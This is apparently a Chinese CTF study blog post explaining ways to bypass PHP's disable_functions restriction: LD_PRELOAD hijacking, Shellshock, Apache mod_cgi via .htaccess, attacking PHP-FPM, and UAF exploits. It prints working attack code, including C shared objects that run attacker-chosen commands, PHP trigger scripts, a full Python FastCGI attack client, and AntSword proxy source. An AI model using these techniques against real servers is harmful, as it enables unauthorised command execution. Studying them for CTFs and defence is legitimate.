关于disabled_function的绕过

最近做题遇到关于disabled_function的绕过,有时间来总结一下,博客顺序大致是按照ctfhub上的web进阶中关于disabled_fuction模块的学习顺序。

绕过方式分类(大部分都可以用蚁剑插件直接进行,这里主要讲讲原理)

- LD_PRELOAD利用.so文件环境变量加载指定的动态链接库,从而达到命令执行的目的
- CVE-2014-6271 Shellshock漏洞 bypass disable_functions
- Apache Mod CGI
- 攻击PHP_FPM绕过disable funciton
- 寻找未禁用的漏网函数,常见的执行命令的函数有 system()、exec()、shell_exec()、passthru(),偏僻的 popen()、proc_open()、pcntl_exec()
- UAF 释放重引用漏洞,例GC UAF、Json Serializer UAF 漏洞、Backtrace UAF等
- COM组件 条件:Windows、php5.x、支持COM组件
- FFI扩展
- iconv绕过

关于LD_PRELOAD

在学习LD_PRELOAD之前需要了解什么是链接。

程序的链接主要有以下三种:

静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。
装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接。

运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。

对于动态链接来说,需要一个动态链接库,其作用在于当动态库中的函数发生变化对于可执行程序来说时透明的,可执行程序无需重新编译,方便程序的发布/维护/更新。但是由于程序是在运行时动态加载,这就存在一个问题,假如程序动态加载的函数是恶意的,就有可能导致disable_function被绕过。

LD_PRELOAD的介绍

在UNIX的动态链接库的世界中,LD_PRELOAD就是这样一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入恶意程序,从而达到那不可告人的罪恶的目的。

对LD_PRELOAD的利用

前提: 能够上传.so文件到服务器后台,能够用putenv()等函数控制相应的环境变量,存在可以控制PHP启动外部程序的函数并能执行(因为新进程启动将加载LD_PRELOAD中的.so文件),比如mail()、imap_mail()、mb_send_mail()和error_log()等。
首先,我们能够上传恶意.so文件,.so文件由攻击者在本地使用与服务端相近的系统环境进行编译,该库中重写了相关系统函数,重写的系统函数能够被PHP中未被disable_functions禁止的函数所调用。

当我们能够设置环境变量,比如putenv函数未被禁止,我们就可以把LD_PRELOAD变量设置为恶意.so文件的路径,只要启动新的进程就会在新进程运行前优先加载该恶意.so文件,由此,恶意代码就被注入到程序中

实例

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
system("touch /var/www/html/success");
}

int seteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

如果想创建一个动态链接库,可以使用 GCC 的-shared选项。输入文件可以是源文件、汇编文件或者目标文件。另外还得结合-fPIC选项。-fPIC 选项作用于编译阶段,告诉编译器产生与位置无关代码(Position-Independent Code);这样一来,产生的代码中就没有绝对地址了,全部使用相对地址,所以代码可以被加载器加载到内存的任意位置,都可以正确的执行。这正是共享库所要求的,共享库被加载时,在内存的位置不是固定的。你要根据目标架构编译成不同版本,在 x64 的环境中编译,若不带编译选项则默认为 x64,若要编译成 x86 架构需要加上 -m32 选项。

1
gcc -shared -fPIC test.c -o test_x64.so

使用该命令将.c文件编译成动态链接库.文件,并上传到/tmp上。

其实这里也有其他很多种代码,这里有一个通用化的代码。回到 LD_PRELOAD 本身,系统通过它预先加载共享对象,如果能找到一个方式,在加载时就执行代码,而不用考虑劫持某一系统函数,比如geteuid()。

在GCC 有个 C 语言扩展修饰符__attribute__((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行__attribute__((constructor))修饰的函数。

attribute((destructor))中的destructor参数让系统在main()函数退出或者调用了exit()之后,(被__attribute__((destructor))修饰的函数)

因此,只要php中设置了LD_PRELOAD,并派生了新的进程,将会执行LD_PRELOAD的文件中
attribute((constructor))里的函数

test3.c

1
2
3
4
5
6
7
#include <stdlib.h>
#include <string.h>
__attribute__((constructor))void payload() {
unsetenv("LD_PRELOAD");
const char* cmd = getenv("CMD");
system(cmd);
}

test2.php

1
2
3
4
5
<?php
putenv("CMD=ls");
putenv("LD_PRELOAD=./test3_x64.so");
error_log("a",1);
?>

写入webshell

1
2
3
4
5
<?php
putenv("LD_PRELOAD=/var/www/html/test_x64.so");
mail("","","","");
error_log("",1);
?>

将php代码上传到/var/www/html/1.php,接着访问1.php,查看/var/www/html会新建一个success文件。由此即可达到绕过disable_function
参考文章
http://www.52bug.cn/hkjs/6888.html

CVE-2014-6271 Shellshock漏洞 bypass disable_functions(bash版本小于4.1)

介绍Shellshock漏洞

什么是SHELLSHOCK漏洞
Shellshock的原理是利用了Bash在导入环境变量函数时候的漏洞,启动Bash的时候,它不但会导入这个函数,而且也会把函数定义后面的命令执行。
在有些CGI脚本的设计中,数据是通过环境变量来传递的,这样就给了数据提供者利用Shellshock漏洞的机会。
简单来说就是由于服务器的cgi脚本调用了bash命令,由于bash版本过低,攻击者把有害数据写入环境变量,传到服务器端,触发服务器运行Bash脚本,完成攻击。

漏洞原理分析

我们先来看一下这个漏洞形成的原因。这个问题的发生是因为Bash的一个功能,它允许在Bash的shell中使用环境变量来定义函数。
函数的作用是把经常调用的代码封装起来,然后在其他地方调用,所有的大多数脚本语言都有这个功能。
Bash中函数的定义是这样的:

1
2
3
4
function ShellShock{
echo hello
}
hello #调用这个函数

但是,Bash还有一种使用环境变量来定义函数的方法,这是它的特性。

如果环境变量的值以字符”() {“开头,那么这个变量就会被当作是一个导入函数的定义(Export),这种定义只有在shell启动的时候才生效.

1
2
3
4
5
6
7
➜  ~ export ShellShock="() { echo Hello ShellShock; }"
➜ ~ ShellShock
bash:ShellShock: command not found
➜ ~ bash
bash-4.1$ ShellShock
Hello ShellShock
bash-4.1$

基于此可以构造很多命令,可参考这两篇文章
_linkhttps://www.freesion.com/article/28721177955/
_linkhttps://blog.knownsec.com/2014/09/bash_3-0-4-3-command-exec-analysis/

Apache Mod CGI绕过disable function

利用条件:启用mod-cgi,允许htaccess文件,.htaccess可写

绕过原理

apache有一个cgi模块,该模块可以设置指定文件类型以cgi方式让服务器运行,例如一个不存在的afaafa后缀文件,通过设置,就可以当作cgi运行,因为是直接服务器运行的,所以可以绕过php的disable_functions限制。

任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本,一种是文件具有已由AddType指令定义的扩展名,另一种是文件位于ScriptAlias目录中.

apache在配置cgi后可以用ScriptAlias指令指定一个目录,指定的目录下面便存放可执行的cgi程序.若是想要增加文件夹也可执行cgi程序,则可在apache主配置文件中做如下设置

先创建一个.a文件

1
#!/bin/shecho&id

然后再建一个.htaccess文件,内容如下,意思是把.a文件当作cgi执行。

1
2
OPtions + ExecCGI
AddHandler cgi-script .nbcgi-script .a

攻击PHP_FPM绕过disable function

PHP_FPM介绍

Php-fpm是什么

1、cgi、fast-cgi协议
cgi的历史
早期的webserver只处理html等静态文件,但是随着技术的发展,出现了像php等动态语言。webserver处理不了了,怎么办呢?那就交给php解释器来处理吧!交给php解释器处理很好,但是,php解释器如何与webserver进行通信呢?为了解决不同的语言解释器(如php、python解释器)与webserver的通信,于是出现了cgi协议。只要你按照cgi协议去编写程序,就能实现语言解释器与webwerver的通信。如php-cgi程序

fast-cgi的改进

有了cgi协议,解决了php解释器与webserver通信的问题,webserver终于可以处理动态语言了。但是,webserver每收到一个请求,都会去fork一个cgi进程,请求结束再kill掉这个进程。这样有10000个请求,就需要fork、kill php-cgi进程10000次。

于是,出现了cgi的改良版本

fast-cgi。fast-cgi每次处理完请求后,不会kill掉这个进程,而是保留这个进程,使这个进程可以一次处理多个请求。这样每次就不用重新fork一个进程了,大大提高了效率。

所以

php-fpm即php-Fastcgi Process Manager.php-fpm是 FastCGI 的实现,并提供了进程管理的功能。进程包含 master 进程和 worker 进程两种进程。master 进程只有一个,负责监听端口,接收来自 Web Server 的请求,而 worker 进程则一般有多个(具体数量根据实际需要配置),每个进程内部都嵌入了一个 PHP 解释器,是 PHP 代码真正执行的地方。

工作流程如图
在这里插入图片描述

攻击PHP-FPM的原理

基本原理就是模仿nginx的fast-cgi,直接与php-fpm进行通信。
在这里插入图片描述

  • requestId:占俩个字节,一个唯一的标志id,以避免同时处理多个请求时的影响。
  • contentLength:占2个字节,表示body的长度。语言端解析了fastcgi头以后,拿到contentLength,然后再在TCP流里读取大小等于contentLength的数据,这就是body体。
  • paddingLength:填充长度的值,为了提高处理消息的能力,我们的每个消息大小都必须为8的倍数,此长度标示,我们在消息的尾部填充的长度
  • reserved:保留字段

贴一下大佬得脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
#!/usr/bin/python

import socket
import random


class FastCGIClient:
"""A Fast-CGI Client for Python"""

# 版本号,不重要
__FCGI_VERSION = 1

# FastCGI服务器角色及其设置
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3

# # type 记录类型1-11
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11

# 头部长度,默认为8
__FCGI_HEADER_SIZE = 8

# 自定义请求状态
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3

def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()

def __connect(self):
# 此函数创建了一个socket,并且去连接(self.host, self.port)
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True

def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
# 此函数根据fcgi_type对content进行封装
length = len(content)
return chr(FastCGIClient.__FCGI_VERSION) \
+ chr(fcgi_type) \
+ chr((requestid >> 8) & 0xFF) \
+ chr(requestid & 0xFF) \
+ chr((length >> 8) & 0xFF) \
+ chr(length & 0xFF) \
+ chr(0) \
+ chr(0) \
+ content

def __encodeNameValueParams(self, name, value):
# 此函数对body进行编码
nLen = len(str(name))
vLen = len(str(value))
record = ''
if nLen < 128:
record += chr(nLen)
else:
record += chr((nLen >> 24) | 0x80) \
+ chr((nLen >> 16) & 0xFF) \
+ chr((nLen >> 8) & 0xFF) \
+ chr(nLen & 0xFF)
if vLen < 128:
record += chr(vLen)
else:
record += chr((vLen >> 24) | 0x80) \
+ chr((vLen >> 16) & 0xFF) \
+ chr((vLen >> 8) & 0xFF) \
+ chr(vLen & 0xFF)
return record + str(name) + str(value)

def __decodeFastCGIHeader(self, stream):
# 此函数对header进行解码
# 被用于__decodeFastCGIRecord函数的一部分
header = dict()
header['version'] = ord(stream[0])
header['type'] = ord(stream[1])
header['requestId'] = (ord(stream[2]) << 8) + ord(stream[3])
header['contentLength'] = (ord(stream[4]) << 8) + ord(stream[5])
header['paddingLength'] = ord(stream[6])
header['reserved'] = ord(stream[7])
return header

def __decodeFastCGIRecord(self):
# 此函数对record进行解码
header = self.sock.recv(int(FastCGIClient.__FCGI_HEADER_SIZE))
if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = ''
if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
buffer = self.sock.recv(contentLength)
while contentLength and buffer:
contentLength -= len(buffer)
record['content'] += buffer
if 'paddingLength' in record.keys():
skiped = self.sock.recv(int(record['paddingLength']))
return record

def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return
# 区分多段Record.requestId作为同一次请求的标志
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = ""
# 构造header
beginFCGIRecordContent = chr(0) \
+ chr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ chr(self.keepalive) \
+ chr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)

# 构造body
paramsRecord = ''
if nameValuePairs:
for (name, value) in nameValuePairs.iteritems():
# paramsRecord = self.__encodeNameValueParams(name, value)
# request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
paramsRecord += self.__encodeNameValueParams(name, value)

if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, '', requestId)

if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, post, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, '', requestId)
# 发送fast-cgi格式的包
self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = ''
# 接受返回包
return self.__waitForResponse(requestId)

def __waitForResponse(self, requestId):
# 接受返回包
while True:
response = self.__decodeFastCGIRecord()
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']

def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)

利用

python fpm.py 127.0.0.1 -p 9000 /var/www/html/phpinfo.php -c ‘<?php echo id;exit;?>’

也可看看蚁剑插件.antproxy.php的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<?php
function get_client_header(){
$headers=array();
foreach($_SERVER as $k=>$v){
if(strpos($k,'HTTP_')===0){
$k=strtolower(preg_replace('/^HTTP/', '', $k));
$k=preg_replace_callback('/_\w/','header_callback',$k);
$k=preg_replace('/^_/','',$k);
$k=str_replace('_','-',$k);
if($k=='Host') continue;
$headers[]="$k:$v";
}
}
return $headers;
}
function header_callback($str){
return strtoupper($str[0]);
}
function parseHeader($sResponse){
list($headerstr,$sResponse)=explode("

",$sResponse, 2);
$ret=array($headerstr,$sResponse);
if(preg_match('/^HTTP/1.1 d{3}/', $sResponse)){
$ret=parseHeader($sResponse);
}
return $ret;
}

set_time_limit(120);
$headers=get_client_header();
$host = "127.0.0.1";
$port = 61813;
$errno = '';
$errstr = '';
$timeout = 30;
$url = "/index.php";

if (!empty($_SERVER['QUERY_STRING'])){
$url .= "?".$_SERVER['QUERY_STRING'];
};

$fp = fsockopen($host, $port, $errno, $errstr, $timeout);
if(!$fp){
return false;
}

$method = "GET";
$post_data = "";
if($_SERVER['REQUEST_METHOD']=='POST') {
$method = "POST";
$post_data = file_get_contents('php://input');
}

$out = $method." ".$url." HTTP/1.1\r\n";
$out .= "Host: ".$host.":".$port."\r\n";
if (!empty($_SERVER['CONTENT_TYPE'])) {
$out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."\r\n";
}
$out .= "Content-length:".strlen($post_data)."\r\n";

$out .= implode("\r\n",$headers);
$out .= "\r\n\r\n";
$out .= "".$post_data;

fputs($fp, $out);

$response = '';
while($row=fread($fp, 4096)){
$response .= $row;
}
fclose($fp);
$pos = strpos($response, "\r\n\r\n");
$response = substr($response, $pos+4);
echo $response;

PHP-FPM任意代码执行

参考文章
https://zhuanlan.zhihu.com/p/75114351?from_voters_page=true
https://juejin.cn/post/6844903471976546311
https://xz.aliyun.com/t/5598
https://www.cnblogs.com/cjjjj/p/9844829.html
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

- UAF 释放重引用漏洞,例GC UAF、Json Serializer UAF 漏洞、Backtrace UAF等

这个地方漏洞原理与堆溢出有关,着实没看懂,直接用github现成的代码或者蚁剑绕过吧

https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php

可参考文章
https://www.anquanke.com/post/id/195686#h3-6
https://www.sohu.com/a/440546290_99907709


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!